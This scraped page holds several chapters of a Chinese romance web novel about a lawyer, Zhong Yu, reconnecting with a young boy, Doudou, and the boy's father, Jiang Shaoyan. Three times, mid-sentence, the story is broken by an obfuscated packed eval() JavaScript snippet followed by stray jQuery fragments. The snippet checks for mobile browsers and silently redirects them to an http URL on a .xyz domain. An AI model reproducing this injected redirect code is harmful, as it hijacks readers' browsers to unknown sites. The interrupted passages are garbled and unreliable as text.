小孩子耐心差,忘得快,只要他不再心软,那孩子应该很快会放弃,也应该很快会忘记。
“Yu,你在走神。”茱莉亚插了一句,惊讶的口气像是发现新大陆,“你怎么了,生病了吗?你状态不对劲你知道吗?”
“抱歉我——”
话没说完手机响了,钟虞拿过一看,是老陈发给他一张照片——
只一张照片,什么文字都没有,这是老陈在给自己免责,他只负责发照片,怎么解读是钟虞的事。
钟虞盯着那张照片。
室外的狂风似乎叫大堂里的灯光都晦暗几分,也叫角落里坐着的那个小人更加孤单伶仃。
钟虞闭了闭眼,还是无法做到视而不见。他对着屏幕快速说一句抱歉,今天暂时到这里。
接着不等其他人反应,总是最后一个下线的钟律飞快退出,顾不上关电脑,拿起外套和房卡就飞奔出去。
他对自己说,最后一次,这是最后一次。
*
蒋兜兜在沙发坐着,感到有些头昏脑胀。
周末两天他都待在蒋西北的别墅,虽然蒋绍言临走前嘱咐螃蟹不能多吃,蒋西北嘴上也答应得好好的,但蒋绍言一走就变卦了,蒋兜兜要什么给什么,那剩下的十几只螃蟹都进到了他肚子里。
周日中午阳光好,没风,蒋兜兜突发奇想要游泳,蒋西北就往泳池里放了水,让他游了一会儿,上来之后没多久,蒋兜兜就拉肚子了。
但他没跟蒋西北说。
周一早上,蒋西北送他去幼儿园,上课的时候蒋兜兜精神就开始不集中,中途又拉了一次肚子
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424989|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,到下午开始流鼻涕,头也疼,他才意识到自己可能感冒了。
老师要跟家长说,蒋兜兜说不用,他自己给蒋绍言说,转头却悄悄瞒下来。
他怕他跟蒋绍言说,蒋绍言就要他回家,那他就不能去找钟虞了。
放学是司机来接的,蒋兜兜上车后说了律所地址,没骨头似的歪在后座,无精打采看窗外。
天从明亮到半明半暗,再到完全变黑,钟虞一直没出现。蒋兜兜头脑越发昏沉,鼻涕也越擦越多,自己带的纸用完了,就跑去找保安要。
司机同时也是蒋兜兜的保镖,一直站在外面注意蒋兜兜的动静,见状意识到不对,这才给蒋绍言打电话。
蒋绍言让司机把蒋兜兜带回家,司机为难,蒋绍言沉声说:“你把电话给他。”
蒋兜兜接过电话,听是蒋绍言的声音,不等说完就立刻大声拒绝:“NO!我不回去!我要等小虞儿!”
说完不想再听,把手机塞给司机,接着趴在小茶几上画他的画。
这两天他从动画片里获得灵感,决定画两只鱼。大鱼代表钟虞,小鱼代表他,两只鱼要嘴对嘴亲亲。
想法很好,不过蒋兜兜不擅长画画,画了擦擦了画,稿纸废了十好几张也没画出满意的来。
现在这张他画了一半,将将画出了两条鱼的轮廓来,上色的时候又觉得不够满意,心里叹气这张也要废了,干脆就在旁边空白处练习写钟虞的名字。
虞字笔画复杂,不太好写,蒋兜兜坐得端正,写得认真,写完后把纸竖起来自我欣赏一番,又在名字旁边画了点小图案,边画边忍不住嘿嘿乐。
拿出一页新的画纸,他把手机也拿出来架在面前,找出动画片按暂停,然后一边注意闸机出来的人,一边一笔一笔照着手机上面临摹。
不知过去多久,面前落下一道阴影,蒋兜兜抬头,一瞬间眼含惊喜,然而看情来人是他爸,惊喜迅速转为失落。
蒋绍言薄唇紧抿,目光无声扫过蒋兜兜面前好几堆擦鼻涕的纸,神情变得严厉:“你感冒了?”
蒋兜兜缩脖塌肩,不敢说话。
蒋绍言再看他穿的衣服,脸色顿时更差,这种天气连他都要穿大衣,蒋兜兜穿的还是那种薄薄的小西装。
不用问他都知道小崽子心里怎么想,大衣不好看啊,肿肿笨笨的,怎么能穿给钟虞看。
“收拾东西跟我回家。”蒋绍言脱下大衣披在小崽子身上,他的不干涉是有前提的,他不能容忍蒋兜兜这么折腾身体。
蒋绍言语气严厉,不容置疑,蒋兜兜哼哼唧唧抗议,慢慢吞吞收拾,一股脑塞进小书包里拉上拉链。
蒋绍言先扔掉桌上的几团卫生纸,拎起蒋兜兜的书包背在一侧肩上,用大衣把蒋兜兜从头到脚牢牢裹住,紧接着整个抱起来,让蒋兜兜靠他怀里。
蒋兜兜不死心,问,真的不等了吗?
声音有气无力,身体也软绵绵的,叫人揪心。
时间接近九点,如果钟虞还没出现,要么就是有事绊住,要么就是故意不来。以他对钟虞的了解,蒋绍言倾向于后一种。
“没必要等了。”蒋绍言说。
蒋绍言抱着孩子大步往外走,自动门朝两侧拉开,他顶风走出去,步伐却在看到马路对面的人时顿在原地。
钟虞从出租车上下来,正好看到这一幕。
蒋绍言身高腿长,只穿了衬衫马甲,怀里抱着个人,用大衣裹着,钟虞知道是蒋兜兜。
凛冽寒风吹得枯叶四处乱飞,吹得钟虞的衣襟向两边敞开,吹得头发遮住了眼睛,但他却没有动,也没有眨一下眼。
黑夜沉沉压在头顶,车辆在马路上快速穿行,车灯汇成绵延光带,足以叫蒋绍言看清那道在车流灯河中茕茕孑立的清瘦身影。
他下意识将蒋兜兜抱紧,遥遥地看了钟虞一眼,在司机打开车门后毫不留恋地上了车。
14. 啊—切!
直到蒋绍言的车再看不见,钟虞才过马路,缓步走进大楼里。
今天降温,楼里加班的人不多,大堂冷冷清清,只有一个保安值守。
见到钟虞,保安笑着打招呼,问他是不是回来加班。钟虞也礼貌笑笑,没答,往蒋兜兜之前坐过的位置看去。
保安见状说:“你找那个小孩啊,刚走,被他家长带走啦。哎呦那鼻涕流得,稀里哗啦。”
“他怎么了?”钟虞吃惊,“感冒了?”
“是啊,这么冷的天穿那么少,又一直在这儿坐着,可不得感冒。”保安说,“还用了我好多纸呢。”
外头进来一人,停在闸机前探头探脑,保安过去询问情况,钟虞慢慢走到蒋兜兜坐的那个沙发跟前。
钟虞想这孩子应该挺倔的,每次来都坐同一个位置,也不知道是不是这几天被那孩子经常坐,钟虞看着看着,竟能在沙发垫子上看出一对小小的屁股印儿来。
他不禁莞尔,又很快敛起笑容,冻到有些发麻的手指微微握了起来。
他想这样也好,蒋绍言应该知道他的态度了,从蒋绍言最后的表情看,应该不会让那孩子再来了。
心情却并没有想象中那样轻松,钟虞做了个深呼吸,转身欲走,突然瞥见茶几底下有什么东西。
弯腰捡起,是一张纸。
比A4稍小,纸面偏硬,指腹摸上去有粗糙的颗粒感,不是一般办公用纸,更像是画纸。
上面的确画着一幅画,铅笔画的,笔触生涩,但还是能辨认出是两条嘴对嘴贴在一起的鱼。
钟虞立刻猜到这是蒋兜兜画的,好几次他经过,余光都瞥见小孩在纸上涂涂抹抹。虽然不大明白什么意思,但钟虞还是笑了,目光移到旁边,突然微微凝滞。
他看到自己的名字被写在纸上,一笔一划,稚嫩却工整,似乎写的人倾注了极大的用心。
而在他名字旁边,还有紧紧挨在一起的一大一小两颗爱心,以及用英文写的kisskiss。
好像在说,钟虞,贴贴,亲亲。
钟虞不知该哭还是该笑,一瞬间红了眼睛。
*
蒋兜兜从小身体不是很好,两岁那年生过一场大病,连续高热不退转肺炎,在重症室里待了小半个月,差点没救回来。
蒋西北当时在病房外哭天抢地,骂蒋绍言对孩子不上心,说蒋兜兜要是有个三长两短,他也跟着一起去了。从那之后,蒋绍言就把蒋兜兜接回身边亲自照顾。
蒋绍言在很多事上不像蒋西北那样精细,怕孩子磕着碰着所以过度保护,怕生病所以拘在家里。他是放养的态度,让蒋兜兜出去跟其他孩子一起玩,只要蒋兜兜想尝试的,蒋绍言都让他去试,渐渐地才把小病秧子养得越来越皮实。
算算看,小崽子已经很久没感冒了。
回家路上,蒋绍言用手背试了一下,蒋兜兜应该不发烧,回家又量体温,确定的确没发烧。蒋绍言问他还有没有其他症状,蒋兜兜说就流鼻涕。蒋绍言了解他,眯起眼睛盯着他看,无声胜有声,小崽子在老子强烈的压迫感下不得不低头,老实说还拉肚子和头疼。
蒋绍言一听就知道是螃蟹吃多了,他不能打电话去埋怨蒋西北,泡了感冒冲剂让蒋兜兜喝,接着挽起袖子去做饭。
蒋绍言在车上常备吃的,司机去接蒋兜兜的时候也会给他带饭,但他今天没吃,这会儿才觉得有点饿,看他爸进厨房,也磨磨蹭蹭跟着进去,蹲在冰箱前面打开冷冻格,数了数小馄饨的数量,一个没少,这才放心。
这可是要给钟虞吃的,一个都不能少。
蒋绍言对付蒋兜兜的感冒颇有经验,每次就给他做番茄蛋花汤,番茄切碎,翻炒出香味,汤里再加点番茄酱,把味道调得浓稠,再把鸡蛋打散下锅。
蒋兜兜数完馄饨,顺着香味飘到灶台边,摸摸肚子,觉得更饿了。
一碗热汤下肚,蒋兜兜小脸红润,感觉好多了。蒋绍言赶他洗漱,上床,自己也回房间冲了个澡,出来后再去蒋兜兜房间,发现小孩把书包里的东西一股脑都倒在床上,好像在找什么东西。
蒋兜兜说:“我之前画的那张纸怎么不见了?”
“什么纸?”蒋绍言问。
蒋兜兜给他形容:“就是两只鱼,嘴对嘴,我还在上面写了小虞儿名字,画了两颗爱心,还有亲亲。”
说罢怕蒋绍言不理解似的,撅起嘴对着空气啵了一下。
蒋绍言:“……”
没见到钟虞,画了一半的画也找不见,蒋兜兜闷闷不乐,再加上生病,有点粘蒋绍言,但他不好意思说,就指使蒋绍言给他开黄桃罐头吃,说嗓子疼。
蒋兜兜又翻一遍书包,确认没有,有些气馁地向后倒瘫在床上。就在这时,耳边传来手机铃声,叫他吓了一跳,转脸看去才发现是蒋绍言的手机。
蒋绍言下楼去给他热罐头,手机搁在床头柜没拿。
蒋兜兜觉得有点烦,大晚上谁给他爸打电话,拿过一看却是一串没有备注的陌生号码。
不仅是个陌生号码,而且响一声就突然不响了。
蒋兜兜不会随
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424990|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
便碰蒋绍言手机,也不会接他电话,但看着这串数字,突然间感觉有种力量在驱使他。
所以,当铃声又一次响起,那串号码再一次出现的时候,他点了绿色的接听键,然后小声问了一句:“你是谁?”
那头没人说话,只有沙沙的电流声,蒋兜兜拧了拧眉毛,正想这人为什么不说话啊,就听见那头传来一声:“是我。”
简单两个字,声音略有些低,虽然经过电子传输有些变形,但蒋兜兜还是一下子听出了是谁,激动地当场就从床上蹦了起来。
然而下一秒,手机就被人从手里无情抽走了。
蒋绍言回来了,高大的身材立在儿童床旁边,弯腰把热好的黄桃罐头搁在床头柜,另一只手举起手机贴到耳边。
蒋兜兜立刻龇牙咧嘴扑过去,整个人几乎挂在蒋绍言身上,蒋绍言一动不动稳如泰山,单只手轻轻松松镇压住蒋兜兜想要篡夺手机的手。
蒋绍言对着手机开口:“你好,我是蒋绍言。”
那头不知说了什么,蒋绍言语气有些冷淡地回答:“他的确是感冒了。”
“流鼻涕,还有……”蒋绍言扫了一眼眼睛睁得溜圆看上去一点事儿没有的小屁孩,“头疼,拉肚子,嗓子疼,咳嗽。”
语调四平八稳,蒋兜兜头一次知道,原来蒋绍言骗人能这么面不改色。
“嗯,挺严重,你是在担心他吗?”蒋绍言说,垂眼看着蒋兜兜。蒋兜兜同他对视,一瞬间脑海中灵光乍现!
他想起吴瑞说的,生病的时候他妈对他最好。他现在终于生病了!这得让钟虞知道啊!
父子两人对视一秒,电光火石之间,蒋兜兜突然捂住胸口开始咳嗽,撕心裂肺惊天动地,把之前对付蒋西北的那套演技全拿出来了。
咳得太过浮夸,蒋绍言眼皮抽动,做了一个“收”的手势,蒋兜兜立马停下,简直收放自如,然后站在床上,双手紧紧巴着蒋绍言结实的手臂,耳朵一个劲儿往前凑,想听钟虞是什么反应。
手机另一头却沉默了。
沉默近半分钟,蒋绍言问:“还有什么事吗?没有的话我要给他冲药了。”
等几秒,那头说没有,蒋绍言就把电话挂了。
蒋兜兜傻眼,反应过来之后愤怒地质问:“你怎么把电话挂了?你干什么呀!”
他都还没跟钟虞说上话!
刚才还配合无间,这会儿就分崩离析。
蒋绍言正低头将号码保存,备注宝宝,闻言抬头,唇角微勾看着蒋兜兜,慢悠悠说道:“钓鱼。”
15. 清平乐
第二天一早,钟虞又去西北集团。
上午的磋商过后,郝家明照例留他们吃饭,但老陈下午要开庭,着急回所里,钟虞本不想留,无奈郝家明的热情叫人难以拒绝。
西北集团餐厅不小,类似学生时代的食堂,不同窗口贩卖不同餐点,天南地北包罗万象。郝家明点一份煲仔饭和瓦罐汤,也极力向钟虞推荐,钟虞便也要了一份。两人寻一处位置坐下,刚吃没多久,就听门口传来骚动。
钟虞抬头,竟见是蒋绍言走了进来。
郝家明也看到,小眼微睁,喃喃说:“今儿是什么好日子,真是稀奇。”
除了大餐厅,西北集团还有接待客户宴请的vip餐厅,蒋绍言跟客户餐叙或者跟高管开午餐会一般在那里吃,没有的话就让助理从食堂打包回办公室,毕竟从楼上下来还要时间,而时间对蒋绍言来说最宝贵。
当然,逢年过节时,蒋绍言也会来大餐厅,以显亲民,但那毕竟少数,况且现下又不逢年节,所以郝家明才会吃惊。
蒋绍言长腿阔步,步若带风,漫不经心的目光四下一扫,很快站定在一个窗口前,跟里头掌勺的大师傅说了句什么,助理谭朗就跟在他后面。
餐厅里许多人都在看蒋绍言,有些偷看,胆子大的明目张胆打量。郝家明坐的位置正好能看到蒋绍言侧面,他眯缝着眼,不着痕迹打量自己老板,越发觉得这几次见蒋绍言,总有种看画报男模的感觉——西装领带长风衣,宽肩阔背大长腿,这是准备要迷死边个(谁)啊?
靓仔。郝家明心里评价,目光落到对面在骚动中依旧八风不动、面色沉静的钟虞身上,暗自欣赏几秒钟,心说倘若不论性别,钟律和他们蒋总颜值倒是蛮登对。
蒋绍言没在这里吃,打包一份餐食就在谭朗的陪同下离开了。
他走之后,餐厅里的众人如热水滚沸般议论开了。没多久谭朗又返回,在窗口取一份饭,目光搜寻一圈,锁定郝家明后便走了过来。
谭朗在郝家明旁边落座,钟虞抬头看他,两人目光在空中相碰,谭朗并没有表示,因为他不确定钟虞是否记得他,或者即便记得,又是否希望郝家明知道他们见过。谭朗这边顾虑多,反倒钟虞大大方方冲他颔首。
郝家明见状眼珠一转,心想这两人何时认得?
谭朗看向他盘子里的汤,问好不好喝,郝家明说:“老火靓汤,秋冬最滋补啦。”
郝家明打听蒋绍言怎么突然亲临食堂,谭朗不知为何朝钟虞投去一眼,才说:“蒋总带回去给小朋友吃。”
“小太子咩?”郝家明奇道,“今天又没台风,不用上学?”
钟虞筷尖停了一瞬,抬头的时候正好碰上谭朗的视线。
谭朗回想刚才,他送蒋绍言去电梯,蒋绍言突然跟他说要他去找郝家明,让郝家明下午去他办公室。
可现在坐在这里,谭朗却觉得,蒋绍言实际让他来找的不是郝家明,而是面前这个貌美沉静的大律师。
作为助理,谭朗具备一切优秀助理该有的特点,心细稳重善观察,话还少,不该问的不问,不该说的也绝对不说。
谭朗移开目光看向郝家明,缓缓摇头,夹一筷子米饭送进嘴里说:“听说好像病了。”
郝家明立刻露出夸张的表情:“生病了?点解啊,严不严重?”
这个谭朗就不知道了,知道了也不能说,于是以沉默回答。
郝家明兀自猜测:“应该比较严重吧,这几天降温,大人都抗不住,何况细蚊仔。难怪我看蒋总刚才脸那么臭。”
钟虞默默垂眼,修长的睫毛半掩住眼中的担忧。前一晚,他无意间捡到蒋兜兜的画,回去酒店的一路上心绪都在翻腾,终于按捺不住给蒋绍言打了电话,但对方态度冷淡,没说几句就挂,也难怪,原来小孩子病得严重。
下午回律所,钟虞在纠结中度过,眼见外面天色渐暗,从五点开始,他便找理由一趟趟下楼。
比如点外卖请加班的人喝,到了之后助理本要下去拿,钟虞施施然起身:“我去。”
再比如老陈下班,照例问钟虞要不要送他,钟虞说好,拎着个空空如也的公文包装模作样,等到楼下没在固定位置看到那孩子,便对老陈说:“你先走吧,我想起还有点事。”
他每半小时下去一次,一直等到晚上十点,确认了小孩今晚不会来,才从律所离开。
回去酒店还是不放心,手机拿起放下,放下又拿起,看一眼那幅画了一半的画,还有两颗紧贴在一起的爱心,三思之下决定再给蒋绍言打通电话。
小孩儿第一次来律所找他的时候告诉过蒋绍言的手机号,当时钟虞是用办公室座机拨的,他倒是没那么好的记性,一遍就记住,而是因为蒋绍言手机号一直没换过,还是原来的那个。
所以只要按下开头,余下的根本无需思索,手指自动就点了出来。
快要自动挂断对方才接,钟虞听到听筒里传出一个富有磁性的成熟男声,压得很低,问道:“哪位?”
原来他没存我的号码。
这个念头快速闪过,钟虞莫明有些不快,很快想起这通电话的目的,说:“是我,钟虞。”
他十分简练,顿了顿问:“孩子怎么样了?”
“刚吃过药。”蒋绍言声音压得更低,听着有些冷意。
钟虞喉结一哽,声音也跟着低下去:“病还没好吗?”
“小孩子生病不会好那么快。”
“……我能不能跟他说两句话?”
“恐怕不方便,”蒋绍言说,“他刚睡了。”
那头微顿,很快问:“那什么时候方便?”
蒋绍言没答,而是语速飞快地说:“我现在还有事,如果你想知道他的情况,明天去我公司说。”
通话结束,蒋绍言口中本该睡着的蒋兜兜瞪大眼睛,简直惊呆了。
前一晚蒋绍言说钟虞还会打电话来,他半信半疑,结果真的打来了。
这什么钓鱼方法,好管用。
蒋兜兜坐在床上,仰头看着站在床边的蒋绍言,只觉得父亲的形象前所未有的高大伟岸。
蒋兜兜眼珠一转,还是不理解:“但他想跟我说话啊,你为什么不让?”
通话时长29秒,蒋绍言垂眸,直到屏幕暗下去,自动锁定,才将手机收起,看着蒋兜兜淡淡问:“你是想电话说还是想当面说?”
蒋兜兜:“!!!”
*
隔天早上,钟虞收到蒋绍言助理谭朗的电话,说特意查过蒋总日程,他今天中午十二点会有半小时的空闲时间。
上午磋商,钟虞时不时瞟一眼墙上挂钟,当时针指向十二,他点点挂钟,又点点腕上手表,对坐在对面的郝家明说:“郝总,十二点了,食饭大过天。”
一向惜时如金恨不能分秒必争的人竟然主动叫停,郝家明瞠目结舌,老陈也目瞪口呆,仿佛不认得他。郝家明反应过来:“系啦系啦,食饭不积极,干活不努力,钟律好觉悟!”
钟虞没跟两人去餐厅,从会议室出去的时候,谭朗已经在外面等他了,带他搭电梯去楼上蒋绍言的办公室。
蒋绍言办公室在三十二层,装饰不算奢华但简洁大气,整层都很安静,钟虞的皮鞋踏在灰色商务地毯上听不到一点声音。
一路上没见到其他人,钟虞注意到落地玻璃外有一片开阔的露台。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14424991|153671||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
谭朗在前方带路,在他看不见的后面,钟虞悄然握了握有些僵硬的手指,面上依旧表现得十分淡然。
走到尽头,谭朗推开一间办公室的门,侧身让到旁边,请钟虞进去。钟虞做了个深呼吸,缓缓步入,视线在宽敞的空间扫过,却没发现有人。
蒋绍言不在?
他将疑惑的目光投向谭朗,谭朗微微一笑,从外面将门轻轻合上。
钟虞再度环视,确认办公室里的确没人,紧绷的气息暂时松懈,他想蒋绍言或许临时有事,所以让他在这里等。
天气不错,正午阳光从落地玻璃照进来,为整间办公室着上明亮,甚至可以说明媚的色彩。与钟虞想象不同,不同于西北集团冷硬的黑色外观,蒋绍言办公室的装饰称得上温馨,暖色调布艺沙发,摆满了书的原木书架,长势喜人的发财树,墙上还挂着一幅水墨画。
钟虞走到那画前,仰头细细打量。
一垂髫小儿蹲在莲池边,头顶莲叶,臂挂鱼篓,脚边好几个碧绿的莲蓬,空白处写有两行诗,是辛弃疾的《清平乐》。
最喜小儿无赖,溪头卧剥莲蓬。
画中孩子十分可爱,那手臂莲藕似的白嫩,钟虞脑海中浮现出某个小小身影,一贯淡然的脸上不自觉展露微笑,正要去看右下角的落款,就在这时,听到身后传来细微的沙沙声,猛然回头,呼吸顿时就屏住了。
原来办公室里并非没人,沙发上正坐着一个,刚才被椅背遮挡,所以他才没看见。
蒋兜兜激动得快要晕过去了。
钟虞来之前他就坐在沙发上,听到钟虞进来的动静,愣是没敢动,心跳一阵快过一阵,而钟虞好像没发现他,径直走到墙边去看那幅蒋绍言拍回来的画。
他紧紧盯着钟虞的背影,只恨眼睛不够大,看得了头就看不了屁股,看得了屁股又看不了腿。
终于,大概是坐久了沙发,他自己屁股有些痒,忍了忍没忍住,伸手去挠,谁知这一下弄出动静,叫钟虞发现了。
蒋兜兜赶紧把手从屁股后面拿回来,规规矩矩摆在腿上,坐得乖巧端正,眼巴巴朝钟虞看。
虽然他很想飞扑上去,但他牢记蒋绍言的话,他得矜持,他得按兵不动,他得欲擒故纵(虽然不太懂什么意思但照做就是了),他得等钟虞朝他走过来。
蒋兜兜一颗小心脏扑通扑通,正七上八下没着落,就见钟虞果然在短暂的惊讶后,动了!钟虞先是往前走了一步,紧接着似乎犹豫了一下,之后就迈开步子朝他而来,距离越来越近,最后停在他面前。
蒋兜兜视线随着移动,仰起脸,既紧张又期待地看着钟虞。
他听到钟虞问他好点了吗?
蒋兜兜立刻疯狂点头,好了好了好了,他现在壮实的像头小牛,唉不对不对,他得生病钟虞才会心疼他啊,于是又疯狂摇头,没好呢没好呢,再咳嗽两声,吸两下鼻子,眼角挤两滴泪出来,表示生病什么的可难受啦。
但见钟虞眉头皱起,一脸担忧,蒋兜兜又不忍心骗他了,连忙说:“好了好了,我一点都不难受,我也不发烧,不信你摸我的头。”
说着就把身体往前倾,仰起脸,闭上眼,乖乖等着钟虞来摸。
钟虞目光隐隐闪动,僵硬的手指蜷起又松开,几番犹豫才下定决心,一点点缓慢地抬起,将掌心贴到了小孩细腻柔软的额头上。
碰上去的那一刹那,蒋兜兜突然睁开眼,同他对上视线。钟虞看到了那双清澈瞳仁里盛得满满当当全是自己的影子,酸楚蓦地涌上心头。
谁都没有说话,没有问你是谁,没有说我是谁,但彼此都知道,六年前斩断的连接,终于等到这一刻接连。
16. 有烟吗
“这是醋,这是葱,这是香菜,还有辣椒油……”
在蒋绍言平时用来签上亿合同的茶几上,蒋兜兜摆摊似的把饭兜里的餐盒一一拿出来,先是调料,然后是汤,最后才是重头戏——他的蟹肉小馄饨。
怕钟虞不吃螃蟹,蒋绍言特意多煮了两种口味,一种猪肉馅,另一种素馅。
担心搁久了影响口感,蒋绍言又把汤分开单独装。
来的一路上蒋兜兜把饭兜紧紧抱在怀里,每次蒋绍言稍微开快点他就抗议:“你别开那么快,把我给小虞儿的馄饨弄撒了!”
蒋兜兜刚才问过钟虞吃不吃螃蟹,钟虞说吃,蒋兜兜高兴坏了,献宝似的把那盒蟹肉馄饨递给他,还强调:“这是我亲手做的。”
如果在最后用漏勺把煮熟的馄饨一个个捞出来也能算的话,那的确是他亲手做的呢。
薄薄的外皮裹着饱满紧实的馅,钟虞拿勺子舀起一个馄饨,吃到了满嘴蟹黄的鲜香。蒋兜兜同他并排坐在沙发上,沙发那么大,蒋兜兜偏要紧紧挨着他挤着他,小身子软乎乎热烘烘的。
等钟虞吃完一个,蒋兜兜问他好吃吗。
“好吃,”钟虞说,这是他这几年吃过最好吃的东西。
蒋兜兜心里欢呼,不想表现得太明显,抿嘴看着钟虞:“那你再吃一个。”
钟虞问:“你不吃吗?”
他看得出小孩儿应该很喜欢吃螃蟹。
蒋兜兜扁嘴:“我爸不让我吃。”
这次生病就是吃螃蟹惹得祸,蒋绍言已经严厉警告过他。
钟虞皱眉,心想蒋绍言也太霸道了,连吃馄饨都要管,于是舀起一个馄饨送到蒋兜兜嘴边:“你想吃吗?想吃就吃。”
蒋兜兜立马把蒋绍言的话抛到脑后,这可是钟虞亲手喂的馄饨!他一口吸溜进嘴里,腮帮子一股一股,边嚼边看钟虞,眼睛高兴地眯在一起。
见钟虞也在看他,漂亮的脸上有浅淡但温和的笑,惯会察言观色得寸进尺的小崽子立刻顺杆爬,把自己手里的勺子往身后头藏,用请求的语气问钟虞能不能再喂他吃一个。
对上那双又黑又亮的圆眼睛,钟虞想没人能拒绝,包括他自己。
钟虞第一次喂人吃饭,还是个孩子,开始时僵硬小心,然而很快就熟练起来,还能双手并用同时给蒋兜兜擦嘴角的汤汁。他分神地想,是否有些事情根本无需学习,就是所谓本能?
蒋兜兜点兵点将,吃完猪肉的下一个就要吃蟹黄的,他不爱吃蔬菜,但不想钟虞觉得他挑食,勉为其难吃了两个素馅的,随着饭盒见底,蒋兜兜心情也变得低落,他想是不是吃完钟虞就要走了。
他生一次病才能换来跟钟虞一起吃饭,是不是还得生病才能再见到钟虞。
蒋兜兜艰难地咽下嘴里的馄饨,突然低头不说话,钟虞觉得奇怪,把他下巴轻轻抬起来,就见他眼睛里竟隐隐有泪。
钟虞有些无措:“怎么了?”
蒋兜兜闷声问:“你是要走了吗?”
钟虞默认,他下午还有工作。
蒋兜兜却误会成另一种意思,眼里迅速聚起泪,嗓子也哑了:“我不是不可以生病,只是生病好难受的,但如果……”
蒋兜兜没说完,钟虞却立刻懂了。
如果生病才能换来像今天这样坐在一起吃饭,那他可以再生一次病。
钟虞眼睛也红了,勺子搁下,动作笨拙地将蒋兜兜的泪擦掉,蒋兜兜顺势把头抵在他怀里。
正好是心脏的位置,钟虞听到自己的心跳得厉害。办公室里很安静,他缓缓抬起手覆上蒋兜兜幼小的后背,轻声说:“不用生病。”
“真的吗?”蒋兜兜一下从他怀里坐直,“那我不用生病也能去找你吗?”
说完不等钟虞回答,他又立刻保证:“我一定乖乖的,不会打扰你的。”
问这句话的时候,蒋兜兜双手紧紧抓着他的衣服。
钟虞垂眼,看着那双手。
来之前,他预演了同蒋绍言的对话,问清孩子状况,同时明确态度,让那孩子以后不要再去找他。
但此时面对蒋兜兜的恳求,理智的天平却不受控制,朝向本能倾斜。他不由自主地回想起那张画。
或许冥冥之中真有老天安排,安排他回国,安排回国当天他就和蒋兜兜见面,安排蒋兜兜一次次来找他,安排他捡到蒋兜兜的那张画……
如果真是天意……
如果这就是天意……
内心依旧是矛盾的,但钟虞再无法像之前一样,将那双小手从自己身上扯开了。
他妥协了,说道:“好,如果你想找我,那就去吧。但提前给我打电话,我不想让你扑空。”
蒋兜兜精致的眉眼瞬间笑开了,一秒都没耽误,掏出小手机:“我能要你的号码吗?”
他问蒋绍言要过,蒋绍言不给,那他就自己要。
钟虞给他说号码,蒋兜兜手指头点着,一个一个数字按下,最后备注的时候写的“小虞儿”三个字。钟虞想问为什么给他备注这个,蒋兜兜凑过来说:“我也把我号码告诉你,我除了要去幼儿园都有时间,你想我可以给我打电话。”
输完号码,钟虞才意识到一个问题。
“你叫什么名字?”
“我大名叫蒋熠安,熠熠生辉的熠,顺遂平安的安,小名叫兜兜。”
蒋兜兜熟练地自我介绍,眨眨眼,见钟虞没说话,又往他身边挨了挨,有些羞涩地说:“你也可以叫我宝贝兜兜。”
钟虞忍俊不禁,在小孩期盼的注目下,把他名字备注成“宝贝兜兜”。
*
从办公室出来,钟虞本想找谭朗,助理办却没人,他往前寻了几步,目光一转,就见刚才路过的那方露台上站着一个人。
那是个男人,身材高大挺拔,没穿外套,只穿一件挺括白衫和灰色马甲,下身是剪裁精良的黑色西裤,包裹着的两条长腿看起来很有力量。
钟虞一眼认出是谁,呼吸微微一滞,脚步也不自觉停下。
蒋绍言什么时候在的?他是一直在还是刚回来?他在外面站了多久?
地毯消音效果很好,钟虞原以为不会被发现,但对方还是敏锐地察觉,那道浴光的背影随即转了过来。
转身的瞬间,两人对上了视线。
钟虞的呼吸再度凝滞。
他默默注视蒋绍言,而蒋绍言也在看他,谁都没动。不过既然碰上,总得体面地打声招呼,于是钟虞走过去,伸手按在玻璃门冰凉的把手上,推开那扇半掩的门,穿过去走上了露台。
露台上种着不少绿植,看上去像个小型花园,目之所及成片的摩天高楼,是个居高远眺的好地方。上面只有蒋绍言一人。
离得近了,钟虞才注意到蒋绍言指间夹着一根点燃的半截香烟。
他愣了愣,他记得蒋绍言以前是不抽烟的。
察觉到钟虞走近,蒋绍言像是刚反应过来,抬手在旁边的烟灰缸里把烟摁灭了。
走出两步钟虞就停下,站在距离蒋绍言三米多的地方,较正常社交稍远了那么一些,他不想叫自己显得局促,想说点什么打破这静默,动动嘴唇刚要开口,就听蒋绍言先一步问他。
“吃饱了吗?”
钟虞愣了愣,没想到蒋绍言的第一句话会是这个。
回国以后,他们其实见过很多面,回国当晚的酒会,西北集团地下车库,还有律所门前的马路上,通话也有过三次,但这还是他们之间第一次面对面说话。
没想到蒋绍言问他吃没吃饱。
钟虞说不出什么感受,回答:“吃饱了。”
蒋绍言点头,随着钟虞开口,他的视线便落在他开合的嘴唇上。
